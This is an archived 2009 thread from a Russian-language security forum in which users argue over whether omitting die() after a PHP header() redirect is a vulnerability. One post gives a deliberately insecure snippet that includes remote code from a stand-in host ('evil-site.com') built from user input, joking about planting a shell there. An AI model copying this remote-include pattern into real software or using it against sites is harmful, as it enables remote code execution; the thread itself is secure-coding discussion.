ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #41  
Старый 31.07.2009, 13:41
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

 
Ответить с цитированием

  #42  
Старый 03.08.2009, 08:57
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

А зачем вообще die() после header() ?
Какая уязвимость может быть тут? Можно пример?
 
Ответить с цитированием

  #43  
Старый 03.08.2009, 12:51
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

попугай, в статье электа описано
Вообще багой это будет если например скрипт аплода файлов в админке проверяет залогинен ли ты, если не залогинен тебя ридеректает ява скриптом на login.php, но после редиректа не стоит die(), ты можешьи отправив запрос скриптом обойти эту проверку

Видимо Пашкела просто прочитал статью ничего не поняв и пытается доказать что в этом коде есть ужасная бага, т.к в данном скрипте ничего опасно нет, посты Пашкелы выглядят немного бредом.
Конечно не стоит забывать про особые обстоятельства

Последний раз редактировалось Spyder; 14.08.2009 в 03:25..
 
Ответить с цитированием

  #44  
Старый 03.08.2009, 13:14
Twoster
Reservists Of Antichat - Level 6
Регистрация: 20.08.2008
Сообщений: 328
Провел на форуме:
7144817

Репутация: 1503
По умолчанию

Ув.Spyder, готов с Вами подискутировать на эту тему!
А если будет листинг кода подобный этому?
PHP код:
switch($_GET['url'])
{
    case 
"test":
    
header("location:http://google.ru");
    include(
'http://evil-site.com/'.$_GET['url'].'.txt')
    break;
    case 
"test2":
    
header("location:http://yandex.ru");
    default:
    
header("location:http://google.ru?error");
    or die(
'Ошибон :D');
    break;

тогда этот буквально как решето!!! всего лишь нужно похекать сайт http://evil-site.com/, и залить туда шелл с именем test.txt и все!!! Мы похеканы! а вот был бы код такой :
PHP код:
   case "test":
    
header("location:http://google.ru"); 
    die();
    include(
'http://evil-site.com/'.$_GET['url'].'.txt')
    break; 
Мы бы были защищены! =)
Ты просто не знаешь особых условий, чтобы switch сделать инклудом
__________________

You may say I'm a dreamer
But I'm not the only one
 
Ответить с цитированием

  #45  
Старый 03.08.2009, 13:19
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

PHP код:
<?php
if(isset($_REQUEST['url'])) {
    switch(
$_REQUEST['url']]) {
        case 
'test':
            
header("Location: http://goggle.com");
            break;
        case 
'test2':
            
header("Location: http://yandex.ru");
            break;
        default:
            
header("Location: http://google.com/error");
            break;
    }
    exit;
}
?>
<form>
<input type="text" name="url">
<input type="submit">
</form>
 
Ответить с цитированием

  #46  
Старый 03.08.2009, 13:21
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

ебаный насос, да вы тут развели 5 страниц на 5 строк кода. даже не заметил.
 
Ответить с цитированием

  #47  
Старый 03.08.2009, 13:26
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

GreenBear, ппц, ты не в курсе что у тебя в коде 4 баги? Забыл что надо die() ставить? Вступай в наш фан-клуб, узнаешь как писать безопасный код
 
Ответить с цитированием

  #48  
Старый 03.08.2009, 13:28
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

:'(
 
Ответить с цитированием

  #49  
Старый 03.08.2009, 13:28
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Цитата:
Сообщение от Spyder  
попугай, в статье электа описано
Вообще багой это будет если например скрипт аплода файлов в админке проверяет залогинен ли ты, если не залогинен тебя ридеректает на login.php, но после редиректа не стоит die(), ты можешьи отправив запрос скриптом обойти эту проверку
Да статью я читал и не раз.. но тем не менее не могу понять в чем уязвимость...

Вот например такой код из твоего примера...

PHP код:
if(!$logged){
header('location: url');
}else{
move_upload_file();

Какая тут уязвимость может быть?......
 
Ответить с цитированием

  #50  
Старый 03.08.2009, 13:29
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

попугай, вы тут все какую - то ересь несете ))
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[php] переход на страницу:) AdR3naL1ne PHP, PERL, MySQL, JavaScript 8 15.06.2009 15:18
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ